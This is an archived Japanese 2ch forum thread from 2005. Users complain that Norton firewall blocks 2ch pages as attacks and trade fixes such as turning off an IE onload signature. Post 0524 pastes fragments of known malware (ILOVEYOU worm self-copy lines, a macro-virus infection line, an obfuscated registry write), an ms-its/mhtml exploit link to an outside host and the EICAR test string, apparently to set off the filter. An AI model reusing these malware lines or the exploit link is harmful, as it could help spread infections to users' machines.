X
トップページ⇒運用情報
981コメント274KB
ノートン誤作動対策本部
■ このスレッドは過去ログ倉庫に格納されています
0001動け動けウゴウゴ２ちゃんねる
垢版 |
2005/11/28(月) 16:08:40ID:bR9gbCGm0
詳細: 侵入を検出して遮断しました。 news19.2ch.net(206.223.151.67) とのすべての通信は 30 分間にわたって遮断されます。
アドレスをクリックすると攻撃者を追跡できます
この攻撃について詳しくは シマンテック･セキュリティ･レスポンス
0522動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/04(日) 04:37:08ID:h85ucp1x0
かきこむ
0523動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/04(日) 12:26:49ID:50GK9X4n0
英語ばかりで読めないな。
0524http://h.pic.to/30ayt
垢版 |
2005/12/04(日) 12:37:37ID:EpZg83SWO
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) 　　
ms-its:mhtml:file://c:\　
kak.hta';ken=wd+'START
End Sub
0529動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/05(月) 17:48:16ID:5iffv5U70
ホントに無問題なのか！？
確かに反応はしなくなるが、それを逆手に利用しLogフォルダを狙ってくるかもと妄想してみる
まだじゃまくさいが*.dat毎に設定した方が…
0540動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/07(水) 22:38:17ID:p1e7f/VT0
ノートンの
侵入阻止→拡張→HTTP MSIE javaScript OnLoad Rte CodeExec
のチェックはずして、
オミトロンの
Onload Unloader
をオンにスルだけで解決するんだが。

何をそんなに騒ぐ。
0542動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/08(木) 01:43:07ID:J0d2TFmr0
専ブラはdatしか読みに行かないから、ノートンのチェック外しても
何ら問題は無い。

問題はIEの味噌も糞も一緒くたにとっとくテンポラリフォルダだ。
これもブラウザ閉じた時にキャッシュを削除する設定にしておけば
多少は安心だろう。
0544動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/10(土) 21:42:55ID:L+GgO2q30
いきなりフジ実況見れなくなった。。。
まとめサイトの対策してるのに
0549動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/12(月) 23:00:52ID:6AEQSNlY0
<body onload=あwindow()>　ms-its:あmhtml:file://c:\

誤作動うぜぇー
0550動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/13(火) 00:03:08ID:EccYzO0u0
0555動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/13(火) 01:15:55ID:ct+jZ+de0
ノートンの信頼ゾーンから例のアドレス群を削除してもまったく問題なし。
どうやらこの前のupdateで、Symantecが対応したようだ。
まあ、定義ファイルちょこっといじるだけだしね。
0559動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/13(火) 07:12:17ID:yYTaEYqU0
2006でアップデートしてみた
何故か専用ブラウザ（JaneDoeView）だと問題なくなったけど
IEで見ると以前と同じように侵入防止される
0561動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/13(火) 13:26:01ID:Mc0lYOUq0
2chブラウザを使ってると、ログの再取得をしないから、反応しないだけ。
ログを一旦消して、誤爆文字列を再読み込みさせると遮断されるよw
0562動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/13(火) 16:33:49ID:Fiu/blpC0
ん？
2005＋かちゅだけど、ログ消して再取得してもまったく問題ないよ。
確かこのスレにもコード張ってあったよね。
該当スレ削除されてるのかな？
数日前から信頼ゾーン元に戻してあちこち見てるけど、一度も遮断は起きてない。
0570動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/13(火) 21:21:25ID:qGOg/NGt0
今日2006インスコ→LiveUpdateした後
JaneDoeStyleでこのスレ開いてみたけど大丈夫でした。
（もちろん、ログ再所得済）
ただし>>559同様、IEはダメ。
一度IEで開くと、その後はJaneでもダメ。

0572動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/13(火) 21:39:18ID:mvJZvZGa0
2ch側で何か対策した？
専用ブラウザでの閲覧は現在問題無しみたいだ。
もちろんログ消去をやった上で。
少なくても日曜日の段階では、自分も専用ブラウザの閲覧でトラップに引っ掛かっていた。


317 名前：名無しさん＠お腹いっぱい。 [sage] 投稿日：2005/12/11(日) 14:25:00
2005は直ってないの？直ってたら乗り換えようと思ってるんだけど

318 名前：名無しさん＠お腹いっぱい。 [] 投稿日：2005/12/11(日) 14:50:13
2006が直った言うのはマジですか？

319 名前：名無しさん＠お腹いっぱい。 [sage] 投稿日：2005/12/11(日) 14:58:53
2006直ってないよ。
シグネチャ更新しても、問題のヤツはそのまま残ってて、いきなり遮断されたしw
プログラム本体の更新が無い限り直らんでしょ？これ。
ホントに直った人いるの？

320 名前：名無しさん＠お腹いっぱい。 [sage] 投稿日：2005/12/11(日) 15:00:33
また工作員の虚言か！

321 名前：297 [sage] 投稿日：2005/12/11(日) 15:00:54
ありがとう。
やってみるよ。

322 名前：名無しさん＠お腹いっぱい。 [sage] 投稿日：2005/12/11(日) 15:27:18
あれ・・・DL板で更新したら問題なく更新されたんで直ったと思ったが何回かやってると遮断してるな・・＠2004
なんじゃこりゃ


で、IEによる閲覧では現在も遮断される事から、最新のアップデートでもノートントラップが対応出来ていないのは明らか。
どーなってんの？？？
0577570
垢版 |
2005/12/14(水) 13:38:58ID:065kioyb0
>>573
Updateしてみましたが、やはりIEでは遮断されました。
0578動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/14(水) 15:21:30ID:B2e/IoHz0
工作員ウザ杉

本気で売買契約解消しようと思うんだが、
誰かシマンテックと交渉した奴いる？

これはOSのせいじゃなく「ノートンのFWだけ」の誤作動だから
返品できるよな？　交渉は小売とした方が良いのか？
0579動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/14(水) 15:21:38ID:lH3ozVBK0
2006で、ここのログを取得してみた。（専ブラはログを破棄して再取得）
専ブラ（Live2ch、かちゅ）では遮断されなかった。
普通のブラウザ（IE、Opera）だと遮断された。
うーん、不思議。
0581動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/14(水) 15:57:29ID:B2e/IoHz0
>>580
ﾌﾟ　工作員必死だなｗ

都合が悪いレスを煽って誤魔化すってことは
やっぱり返品出来るんだなｗ

そりゃそうだ他社のFWじゃ誤作動しなくて
ノートンだけ誤作動じゃ言い訳できないもんな。

工作員の必死さから良く分かった。
返品の話が都合悪いの？ｗ　んー？ｗ　悪いの？ｗ
0582動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/14(水) 16:01:29ID:lfvSkMHa0
誤作動ではなく危険なコードは完全に弾く仕様になっております。
もし、信用できるサイトの観覧に不都合が生じた場合は
そのサイトを信頼ゾーンに追加して下さい。

と。
0583動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/14(水) 16:09:17ID:B2e/IoHz0
>>580
＞サイトの観覧に不都合が生じた場合は
＞そのサイトを信頼ゾーンに追加して下さい。

いやだ。

信用できるかどうか分からんからFW入れてんだよ。

それに今回は

「サイトの観覧に不都合が生じた場合は～」　じゃねーだろ？
「FWのコード識別に不具合が生じてる」

「不都合」でなく「誤作動」
0584動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/14(水) 16:27:23ID:lfvSkMHa0
>>583
お客様、何度も申し上げますが誤作動ではなく仕様です。
なにとぞ御理解下さい。

分かりやすく説明するとこうなる↓

ハァ？どーでもいい一般ユーザーは黙ってろっての！
グチグチうるせーな。
スキル無いボケが生意気いってんじゃねーよ！！

返金？返品？ｼﾗﾈｰﾖ！

嫌なら裁判でも起こせばいいだろー
知識の無い裁判官言いくるめる弁護士雇う金がこっちにはあるんだボケ！！
ネットで吠えてねーでやってみろ根性なしが（ﾌﾟﾌﾟp
0587動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/14(水) 17:01:46ID:JiKINitk0
>>586
一応コピペ

>「不適切な Document Object Model オブジェクトのメモリ破損の脆弱性」は、
>JavaScriptでwindow()イベントが使われた場合に任意のコードが実行されるというもの。
>ネット上では5月にすでに情報が公開され、この脆弱性を悪用するトロイの木馬も登場しており、
>ユーザーは至急パッチを適用すべきだ。
0590動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/14(水) 18:31:24ID:zKLyALpC0
俺漏れも
0591動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/14(水) 18:45:29ID:a5x2HY3T0
いや先生もう対策しちゃってるしね
この悪戯もいずれ下火になると思うので、もう設定で対処しないで
引っ掛かったら一時的に切って遮断解除、が一番安全だとは思うけどね

ただ、例えて言えば、ノートン先生って
子供が男子高校生なのに、痴漢がどうのとかいって塾の送り迎えしたり
二十歳超えたのに、夜は危ないから8時以降は外出するのは控えなさい、
とかいうオカンなんだよなｗ
五月蠅い事この上ない

>>586,587
ｔｈｘ
0602動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/15(木) 07:07:26ID:/Hth94uT0
んで先日のMSのアップデートしたらシグネチャ除外でHTTP MSIE JavaSvript～
っての切っても問題ないの？
これってMSのバグの脆弱性を埋めるためだけのやつだよね？
0604動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/15(木) 10:48:51ID:0IKFE+YG0
Windows UpdateとノートンのUpdate済ませて
それ以前にブロックされてたスレが普通に読み込めたので
シマが対応したと思ったのだが、やはりスレによっては、
ブロックされるようです。
まんどくさいなー、悪戯やめれ！
0606動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/18(日) 18:04:47ID:/Gl1/UV+0
MSがセキュリティホール埋めたけどシマンテックはこのHTTP MSIE JavaScript～
に関する文字列の検知を変更しないわけね？じゃあシグネチャ除外が一番かなあ…
個人的にはどうせIEほとんど使わんし、どこぞの反日ｸﾗｯｶｰに2ちゃん鯖ｸﾗｯｸされる
リスクの方が怖いや。
0607動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/18(日) 19:25:41ID:JVV9/DvK0
ログ削除して専ブラ使えば良い、なんて書きこみがあるけど、>>570,>>579など。
これってシマンテックの社員なの？

専ブラ使っても相変わらず駄目だよ。
悪質な嘘をつかないでくれるかな。
マジでムカついちゃったよ。
0608動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/18(日) 19:36:09ID:RN6yyh6F0
ノートン2006 + JaneDoe View α ( build date: 051128 )
でログ取得し直しても問題なく使えてるけど？
馬鹿みたいな事書き込んでないで先ず自分の環境くらい書こうよ
0610動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/18(日) 21:05:53ID:aV+RNAht0
ログ取得し直しても問題なしって人は設定が間違っているか
無意識に警告が出ない設定にしてあるって事に早く気がついたほうがいいよ。
解らなくて警告が出ないより、解ってて解除する方がいいからね。
0611動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/18(日) 23:56:35ID:QUwDeAJW0
NIS2006 + twintail v2.0 beta36 + Windows 2000 SP4 + MSの対策パッチ

NIS2006の「HTTP MSIE JavaScript Onload～」の侵入防止シグネチャ有効。
そのシグネチャのプロパティーで、検出時に警告を出すように設定している。
Twintailのキャッシュをフォルダ毎削除して、このスレを読み込んでも反応無し。
そのあと、IEでこのスレを開くと遮断される。
遮断されたIPを解除し、Twintailのログを削除して、再読み込みしても反応無し。
そのあと、IEでこのスレを開くと再び遮断される。

このような症状になってる人が他にも居ると思うが、マジで原因が判らんよ…
0612動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/19(月) 07:31:36ID:9dyvKkJ30
>>610
2ch専ブラで問題なしIEで問題ありって人が実際多数いるんだし
俺もJaneDoeView最新版で問題なし
お前みたいな訳分からない否定をするやつは何故自分の環境を書いたり試したりしないんだ？
0614動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/19(月) 07:40:57ID:9dyvKkJ30
>>613
OnloadのやつはIE特有のバグらしいからIEコンポーネント系以外は反応しないように
対策したかも知れないとか考えられないの？
とりあえず変な事ぼやいてないで何か否定材料出してよ、検証しようがないから
0615動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/19(月) 08:00:45ID:9dyvKkJ30
自己レス
FireFoxってのを入れて試してみたけどこっちでも反応したな
単純にIE、非IEで分けている訳では無いみたいだ
0619動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/19(月) 13:15:13ID:FcoWUZ/m0
USER_AGENTをIE以外に偽装してIEでアクセスしたりとか試してみたが、関係無いみたいだ。
もしかしたら、どこかで陰険なチェックが入ってないかと疑ってみたんだがw
■ このスレッドは過去ログ倉庫に格納されています
ニューススポーツなんでも実況